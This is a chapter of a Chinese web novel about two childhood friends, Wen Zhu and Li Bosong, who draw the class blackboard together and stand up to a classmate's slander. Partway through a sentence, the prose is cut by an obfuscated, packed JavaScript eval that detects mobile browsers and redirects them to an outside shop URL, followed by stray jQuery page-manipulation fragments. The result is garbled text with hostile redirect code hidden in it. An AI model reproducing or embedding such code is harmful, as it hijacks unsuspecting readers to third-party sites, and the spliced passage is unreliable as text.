9. 双向维护
    高二三班是尖子班里人数最少的班级,所有同学总共分成十个组,每个组五个人。组分得多有好有坏,比如说在画板报的时候,一学期大概只轮得上一次,但每次都因为人数太少费时费力。

    “咱们班从高一开始就是这样的,板报两周换一次,按组轮。”

    “这次谁选题?”

    在午睡铃声打响两分钟后,闻竹浅浅打了个哈欠,支着下巴兴致缺缺地看他们讨论。

    一中的大多数活动都和班级的周评比挂钩,所以大家心里装着集体荣誉那杆秤,对待这个黑板报还是比较认真的。闻竹每次都是画的那个,基本不参与选题。

    她看大家都在给选题出谋划策,开口问:“你们商量好了吗,谁和我一起画?”

    曲思嘉默默举手。

    “不行。”

    除了李泊松外,其余三个人异口同声地用两个字反对,连闻竹都把身子坐正了。

    “我可以戴防尘指套。”曲思嘉默默道。

    “上次你就是这么说的,指套戴了,手倒是没什么事,打喷嚏打了半节课。”路一杭摊手,“这次你要把口罩也戴上?最好再加个护目镜。”

    “算了,思嘉,别逞强啊。”毕雨泽摩拳擦掌,“我来帮忙!”

    路一杭:“我们俩帮忙擦黑板,没问题。”

    “你瞧不起我??”

    “你对自己几斤几两真的没点ACD数吗?咱们两个做出来的东西就是很丑啊……”

    曲思嘉起哄式劝架:“哎呀你们!别打起来!”

    他们三个在那里争辩,闻竹头又往下低了些,看起来真是要睡着了一样。李泊松盯着她的动作很隐晦,她的几缕发丝却在动作间落在他手边。闻竹半睁了下眼睛,解释道:“思嘉粉笔过敏。”

    “嗯,”李泊松说:“我来吧。”

    路一杭和毕雨泽同时鼓掌。

    闻竹知道李泊松这时候站出来是出于性格里的责任感。但他们两个一起长大,她对李泊松从小到大的美术老师绞尽脑汁的鼓励性评价印象非常之深刻。

    “你可以吗?”虽然这个时候提出质疑不太礼貌,但她还是这么问了。

    李泊松也不介意,他弯弯眼睛:“当然,我可以帮你写字,我可是被陈老师夸过写字漂亮的人。”

    闻竹看着他的眼睛,学着他那天的样子颇为虔诚地比了个祈祷的手势。

    李泊松没忍住在午读时间笑出声来。

    -

    做板报这事儿每次都是时间紧任务重,闻竹和李泊松在岩姐的特批下甚至翘掉了体育课。毕雨泽和路一杭把黑板擦得锃亮后准备下楼,两个人在走廊里因为抢篮球差点大打出手。大梁最近不在学校,大家比之前嚣张了很多。

    闻竹把袖子挽到小臂处,她手上颈上都没有任何饰品,因为觉得不舒服也不习惯。她在教室里的讲桌里拿了彩色和白色两盒粉笔,走出教室的时候差点被毕雨泽撞到。

    说差点是因为她往后退了一步,然而她的脚并没有落在地上,而是落在了一个人的鞋上。

    哎呀。

    闻竹脸上没什么变化,心里却一惊,她转头,看到了李泊松的下巴后竟然习惯性地舒了口气。视线向下,一双不甚明显的鞋印出现在了原本一尘不染的黑色球鞋上。

    “对不起。”闻竹赶忙道歉,还不忘偏头给了毕雨泽一个刀子一样的眼神。

    “没事,等我一会儿。”李泊松朝她眨了下眼睛,把手里的板擦放进闻竹手里,转身又进了班级。

    毕雨泽愣住了,觉得他和闻竹这两天有点犯冲。

    但错是犯了,他老老实实地道歉,曲思嘉正好从教室出来,问闻竹晚上吃什么。

    毕雨泽将功补过,忙道:“我买我买,想吃什么。”

    “谢谢,”闻竹不假思索道:“麻辣烫,多放麻油少放辣。”

    “真不客气啊。”路一杭哈哈笑,被毕雨泽怒瞪了一眼。

    每到饭点,麻辣烫的点餐口处的排队盛景堪比五一小长假的景点。

    “OK,没问题。”毕雨泽把头转回来,“泊松呢,泊松吃什么?哎,他人呢?”

    “回去擦鞋了。”

    毕雨泽探头一看,果然是这么回事,于是跑过去叫他,问他吃什么。

    曲思嘉的卫衣帽子又被无情地压在了冬季校服里边,她是过耳短发,没有头发的遮挡,脖颈下边的一个小山包看起来异常明显。

    闻竹伸手,把帽子从棉服里拽出来。

    收回手之后,闻竹看着他们三个,稍浅一些的眼瞳很亮。她颇为冷淡地晃了晃手里的草稿纸:“拜拜。”

    “好嘞——”毕雨泽拉长音说:“会给你们两个点好麻辣烫的。”

    “加油!”路一杭做了个握拳的手势。

    “拜拜竹子,么么哒。”曲思嘉和她挥手。

    闻竹无奈地笑了下。

    “服了你们了……快走吧,上课快迟到了。”

    两分钟后,整个楼道都安静下来了,班级里只有少数人还没下楼,前后门都关着,闻竹在走廊里能听到他们分贝很高的聊天声,但听不清具体说的是什么。

    她拿了支绿色的粉笔在黑板上遥遥地比划了一下,下了第一笔。她半蹲在黑板前,眼神很专注,右手在细致地工作。左臂上挽着的袖子已经落了下去,有几缕长刘海垂落在耳际,随着动作晃动着。

    李泊松远远地看到这幅景象,顺着长长的走廊一步步走过去。

    早春的傍晚是很美好的,夕照的灿金色顺着窗棂打进来。闻竹的手机震动了两声,是曲思嘉在给她发外面连成片的火烧云。

    闻竹听到脚步声没抬头,倒是李泊松先开口了。

    “不冷吗?你穿得太少了。教室里和走廊的温差至少得有十度。”

    闻竹抬头,男生垂眼俯视她,两个人都在对方的眼眸中看见了自己的身影。

    “还好,没感觉冷,”她把落下的袖子重新挽上去,“穿棉服不舒服,胳膊都抬不起来。”

    李泊松没退步:“你的秋季校服在吗?”

    闻竹摇头。

    “那你穿我的,我的在柜子里,新的还没洗,可能会有味道。”他想了想,之后的话转变成了自言自语:“拿到之后还没穿过,也不知道我穿好不好看。”

    “……”

    闻竹找到了挺久之前在李泊松身上体会过的那种无语的感觉,竟然莫名其妙地有点怀念。

    她放弃了和李泊松交流,手下动作没停,视线也重新回到黑板上。

    “我柜子里有个白色的羊羔毛马甲,你帮我拿出来吧。”

    李泊松应了一声,闻竹想起那个马甲被她塞进凳子旁边的纸袋里了,抬头想说一声,却看到李泊松面色如常地站在门口,一点没有打开门进去的意思。

    闻竹觉得奇怪,脚步很轻地走过去,李泊松甚至被她突然而来的动作吓到了。

    闻竹没理他,听到了里边两个人的窃窃私语声,几句话的工夫,情绪就变得非常差。

    她伸出的手即将触碰到门把的时候,被另外一只骨节分明的手拦住了。

    心里那团火烧了起来,连带着看李泊松的表情都带着刀子一般。李泊松好脾气地笑笑:“你做什么?”

    “不做什么,别拉着我,”闻竹说,“我又不会和他们打起来。”

    “好了,”李泊松被她的语气逗得笑出来,他自己都不在意,没成想闻竹这么生气:“你就当做没听到。”

    “你忘了当初和我说过什么了?”

    闻竹说完这就话就没再理他,单手推开了门。

    李泊松收回伸出去的手,维持着站在门框处的姿势没动。

    教室里几乎是全天开着灯的,刚刚大家去上体育课,把灯都关掉了,教室里显得有些昏暗,闻竹的手拍上灯的开关,看着他们两个。她生气的时候反而比平时更热情些:“嗨,”她问,“你们不上课吗?”

    “……”其中的女孩说:“他重感冒请假了。”

    “哦,这样。”闻竹懒得问他请假了你在干嘛,虽然是两个人的聊天,但她没有听到那个女孩说什么,对她的态度还是很客气,她说话的艺术都冲着那男生去了。

    “都重感冒了还能在背后嚼同学的舌根,有那么充沛的精力不如去操场跑几圈。”

    这个男生是半年前文理分科后转到他们班的,成绩也很不错,闻竹之前和他一直没什么交流,她完全不懂这种莫名其妙地诋毁从何而来。

    “我说他两句关你什么事?”不知道是觉得丢人还是别的什么,他脸涨得通红,反驳了一句。

    自己努力苦读的成绩,凭什么被别人随便揣测。

    这些话只会出现在闻竹心里,她不会在吵架的时候说这些没起不到作用的话。

    “因为我正义感强,”她表情都没变,语气没有刚才那么客气了:“而且我很好奇,李泊松考第一你急什么,不是他就是你了?我都没急。”

    那男生就彻底无话可说了。

    闻竹一直都是不吃亏的性格,并且不会在外人面前当乖乖女,她会直说自己觉得不舒服的事,以前有亲戚曾说她是“伶牙俐齿的小丫头”。

    她那时候年纪小,不知道伶牙俐齿是褒义词还是贬义词,但她总觉得在那个语境里,她是说了让别人不高兴的话,之后才得到了那样的一个评价。

    那天晚上她坐到妈妈的旁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079126|137974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边,和她讲了这件事,她妈妈是完全站在她这边的。那个时候闻灿还在念幼儿园,闻竹看着妹妹坐在地毯上把拼接好的小火车放到塑料制的轨道上,在电池的驱动下,小火车摇摆着车头,嗡嗡地启动了。

    妈妈说,如果你觉得一件事让你不舒服,可以不忍受的话就不必忍受。那个时候闻竹半知半解,不如妈妈的第二句话让她印象深刻:

    伶牙俐齿很好呢,以后可以做律师、记者……很多职业,你有没有什么想做的工作啊,宝贝?

    闻竹穿上马甲外套,厚重的羊羔毛遮挡住侵蚀而入的丝丝寒意,她依然不太高兴,倚着走廊的窗台,看着冬天也能开得灿烂的、不知道是什么品种的花。

    时间倒回四年前,闻竹和李泊松念初一,那时候他们两个打破了从幼儿园到小学的“同桌定律”,不仅不是同桌,连班级都隔得挺远。

    闻竹小学成绩还不错,到了初一也依然是一个玩乐的心态,到了考试才发现有很多同学都比她学得好,而自己很多知识都空白。

    那个时候她心里很不服输,有了些危机意识,觉得自己应该更加专心才对。

    她自觉没有多聪明,但勉强是能用心的学生,有了目标之后,这个目标就会成为唯一的锚点。好在初一的知识并不太难,李泊松还帮她补了一些课,下一次考试的时候他们两个已经可以在一个考场了。

    考试当天她起晚了,李泊松在家门口等她,两个人差点错过校车,进入教学楼之后,各个楼层都很躁动,同学们背着书包,勾肩搭背地结着伴找自己的考场考试。两人都没有回班级,直接去了考场。

    一起到了门口,准备开门的时候听到了里面的议论声,声音不大,但是足够让人听清。

    “她的成绩怎么提得这么快,上次不是还在第五考场吗?”

    “啊?可能突然好好学了吧。”

    “好好学习能一下子考得这么好?”

    “她不是和李泊松关系很好吗,可能教她了也说不定?”

    “没准是抄的,你知道吧,非要说的话,这才是提高成绩最快的方式……”

    声音是一男一女,如果不是提到了李泊松,闻竹都不知道这是在说她。

    她没什么表情地站在门口,想等着他们说完再进去。这件事过去之后,闻竹回忆起来,清楚地知道李泊松就站在他身边,而他们两个一起长大,他一定知道自己并不在乎他们两个的话。

    但是画面一转,在闻竹的回忆里,李泊松推门进去,伸手抓住了那个男生的领子。

    闻竹反应过来后,赶忙把他拉开。那时候他都拳头已经打在那男生下巴上了。

    其实李泊松这人脾气不错,够意思,朋友多,而且和闻竹一样有一定地钝感力,对很多事情都不是很在意。闻竹抓着他的胳膊,能感受到他出了汗。

    “你看到她有多努力了吗,就随随便便揣测别人的成绩,她碍着你了?”

    “有时间不如自己好好学学,盯着别人干什么。”

    “还有,她的成绩是属于她自己的,和我没关系。”

    ……

    他们两个出去之后,闻竹笑了下,安抚他:“当没听见就好了,理他们做什么。”

    李泊松绷着脸把书包撂在桌上,看着站着的闻竹:“你不生气啊?”

    “我啊,不太生气。”闻竹才想起来没和他说谢谢,但她很久没跟李泊松说过这句话了,这次也就自然而然地抹掉了。她不是温柔脾气好的类型,说不生气却也不是在撒谎,因为这件事她是真的不在乎。被误解也好、被泼脏水也好,这都不重要,反正……

    “反正下次我会考得更好。”

    李泊松眼睛亮起来,小声吹了个口哨:“这句话真酷,有机会我也要这么说。”

    闻竹也想笑,但她忍住了,只是愉悦地扯了下嘴角,转身去找自己的座位了。

    -

    李泊松搬出来一个桌子,把水盆和擦黑板的抹布都放在上边,闻竹看他还拿了副橡胶手套出来。他看到闻竹三两下勾勒出来的板画,觉得很美。闻竹却没心思想别的,盯着他的眼睛问道:“下次你还是会考得很好的,对吧?”

    正在写字的人愣了下,闻竹知道他也想到了以前的那件事。

    李泊松偏头,对她露出了一个和当年没什么两样的笑意。他想了想,拖着调子勉强道:“说不好啊,毕竟你和路一杭都挺牛的。”

    话音刚落,就在闻竹的眼神里读出了恨铁不成钢的意味。

    “我会努力的,放心吧。”他只好改口,笑眯眯地问道:“周末要不要一起学习?”

    闻竹看出这人在逗她,冷淡拒绝:“不,我要自己学,然后超过你。”